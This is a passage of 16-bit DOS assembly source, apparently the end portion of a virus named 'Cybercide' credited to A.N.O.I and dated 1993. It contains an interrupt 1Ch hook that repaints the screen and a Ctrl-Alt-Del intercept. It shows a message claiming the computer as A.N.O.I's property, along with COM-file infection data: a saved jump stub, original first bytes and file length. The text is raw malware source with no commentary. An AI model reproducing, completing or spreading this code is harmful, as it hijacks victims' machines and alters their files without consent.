|
|||
|
|
jne print_next
|
|||
|
|
|
|||
|
|
pop bp
|
|||
|
|
jmp exit_zero
|
|||
|
|
|
|||
|
|
alt_del:
|
|||
|
|
mov ax,0b800h
|
|||
|
|
mov es,ax
|
|||
|
|
mov di,0
|
|||
|
|
mov al,'A'
|
|||
|
|
stosb
|
|||
|
|
mov di,158
|
|||
|
|
mov al,'N'
|
|||
|
|
stosb
|
|||
|
|
mov di,3998
|
|||
|
|
mov al,'I'
|
|||
|
|
stosb
|
|||
|
|
mov di,3840
|
|||
|
|
mov al,'O'
|
|||
|
|
stosb
|
|||
|
|
|
|||
|
|
jmp exit_9h
|
|||
|
|
darth_pic:
|
|||
|
|
DB '<27>',30,'<27>',30,'<27>',30,'<27>',30,'<27>',30,'<27>',30,' ',7,' ',7
|
|||
|
|
DB ' ',7,' ',15,' ',15,'I',15,' ',15,'h',15,'e',15,'r',15
|
|||
|
|
DB 'e',15,'b',15,'y',15,' ',15,'p',15,'r',15,'o',15,'c',15
|
|||
|
|
DB 'l',15,'a',15,'i',15,'m',15,' ',15,'t',15,'h',15,'i',15
|
|||
|
|
DB 's',15,' ',15,'c',15,'o',15,'m',15,'p',15,'u',15,'t',15
|
|||
|
|
DB 'e',15,'r',15,' ',15,'a',15,'s',15,' ',15,'t',15,'h',15
|
|||
|
|
DB 'e',15,' ',15,'p',15,'r',15,'o',15,'p',15,'e',15,'r',15
|
|||
|
|
DB 't',15,'y',15,' ',15,'o',15,'f',15,' ',15,'A',15,'.',15
|
|||
|
|
DB 'N',15,'.',15,'O',15,'.',15,'I',15,' ',15,' ',15,' ',7
|
|||
|
|
DB ' ',7,' ',14,'<27>',30,'<27>',30,'<27>',30,'<27>',30,'<27>',30,'<27>',30
|
|||
|
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
|
DB ' ',15,' ',15,' ',15,'!',15,'!',15,' ',15,'A',15,'L',15
|
|||
|
|
DB 'L',15,' ',15,'H',15,'A',15,'I',15,'L',15,' ',15,'D',15
|
|||
|
|
DB 'A',15,'R',15,'T',15,'H',15,' ',15,'V',15,'A',15,'D',15
|
|||
|
|
DB 'E',15,'R',15,' ',15,'!',15,'!',15,' ',15,' ',15,' ',15
|
|||
|
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
|
DB ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
|
|||
|
|
|
|||
|
|
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|||
|
|
; New Interrupt 1Ch Handler
|
|||
|
|
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|||
|
|
|
|||
|
|
new_int_1ch:
|
|||
|
|
pushf
|
|||
|
|
|
|||
|
|
cmp cs:flagga,0
|
|||
|
|
jne print_flag
|
|||
|
|
exit_1c:
|
|||
|
|
popf
|
|||
|
|
|
|||
|
|
real_int_1ch: db 0eah ;jmp...
|
|||
|
|
int_1ch_off dw ? ;to old int 1ch
|
|||
|
|
int_1ch_seg dw ?
|
|||
|
|
flagga db 0 ;no flag
|
|||
|
|
|
|||
|
|
print_flag:
|
|||
|
|
push ax
|
|||
|
|
push bx
|
|||
|
|
push cx
|
|||
|
|
push di
|
|||
|
|
push si
|
|||
|
|
push ds
|
|||
|
|
push es
|
|||
|
|
push bp
|
|||
|
|
|
|||
|
|
cld
|
|||
|
|
mov ax,0b800h
|
|||
|
|
mov es,ax
|
|||
|
|
mov ds,ax
|
|||
|
|
|
|||
|
|
mov di,1
|
|||
|
|
mov si,1
|
|||
|
|
lea bp,tabl
|
|||
|
|
xor ch,ch
|
|||
|
|
|
|||
|
|
mov cl,cs:[bp]
|
|||
|
|
inc bp
|
|||
|
|
again:
|
|||
|
|
mov bl,cs:[bp]
|
|||
|
|
inc bp
|
|||
|
|
line:
|
|||
|
|
lodsb
|
|||
|
|
and al,00000111b
|
|||
|
|
or al,bl
|
|||
|
|
stosb
|
|||
|
|
inc di
|
|||
|
|
inc si
|
|||
|
|
loop line
|
|||
|
|
|
|||
|
|
mov cl,cs:[bp]
|
|||
|
|
inc bp
|
|||
|
|
cmp cl,0
|
|||
|
|
jne again
|
|||
|
|
|
|||
|
|
pop bp
|
|||
|
|
pop es
|
|||
|
|
pop ds
|
|||
|
|
pop si
|
|||
|
|
pop di
|
|||
|
|
pop cx
|
|||
|
|
pop bx
|
|||
|
|
pop ax
|
|||
|
|
jmp exit_1c
|
|||
|
|
|
|||
|
|
; # B G B
|
|||
|
|
tabl db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16
|
|||
|
|
db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16
|
|||
|
|
db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16
|
|||
|
|
|
|||
|
|
db 80,96,80,96,80,96,80,96
|
|||
|
|
|
|||
|
|
db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16
|
|||
|
|
db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16
|
|||
|
|
db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16
|
|||
|
|
db 35,16, 10,96, 35,16, 35,16, 10,96, 35,16, 35,16, 10,96, 35,16,0
|
|||
|
|
|
|||
|
|
DB '-=CYBERCIDE=- 01-30-1993 * COPYRIGHT (C) 1992-93 A.N.O.I DEVELOPMENT'
|
|||
|
|
get_rnd:
|
|||
|
|
push dx
|
|||
|
|
push cx
|
|||
|
|
push bx
|
|||
|
|
in al,40h ;'@'
|
|||
|
|
add ax,0000
|
|||
|
|
mov dx,0000
|
|||
|
|
mov cx,0007
|
|||
|
|
rnd_init5:
|
|||
|
|
shl ax,1
|
|||
|
|
rcl dx,1
|
|||
|
|
mov bl,al
|
|||
|
|
xor bl,dh
|
|||
|
|
jns rnd_init6
|
|||
|
|
inc al
|
|||
|
|
rnd_init6:
|
|||
|
|
loop rnd_init5
|
|||
|
|
pop bx
|
|||
|
|
mov al,dl
|
|||
|
|
pop cx
|
|||
|
|
pop dx
|
|||
|
|
rnd_init_ret:
|
|||
|
|
ret
|
|||
|
|
|
|||
|
|
filelen dw offset eof - offset start
|
|||
|
|
memlen dw 300
|
|||
|
|
filename db 25 dup(?)
|
|||
|
|
|
|||
|
|
attribute dw ?
|
|||
|
|
jmp_1 db 0e9h
|
|||
|
|
jmp_2 dw ?
|
|||
|
|
first_bytes db 90h,0cdh,20h
|
|||
|
|
|
|||
|
|
eof:
|
|||
|
|
end start
|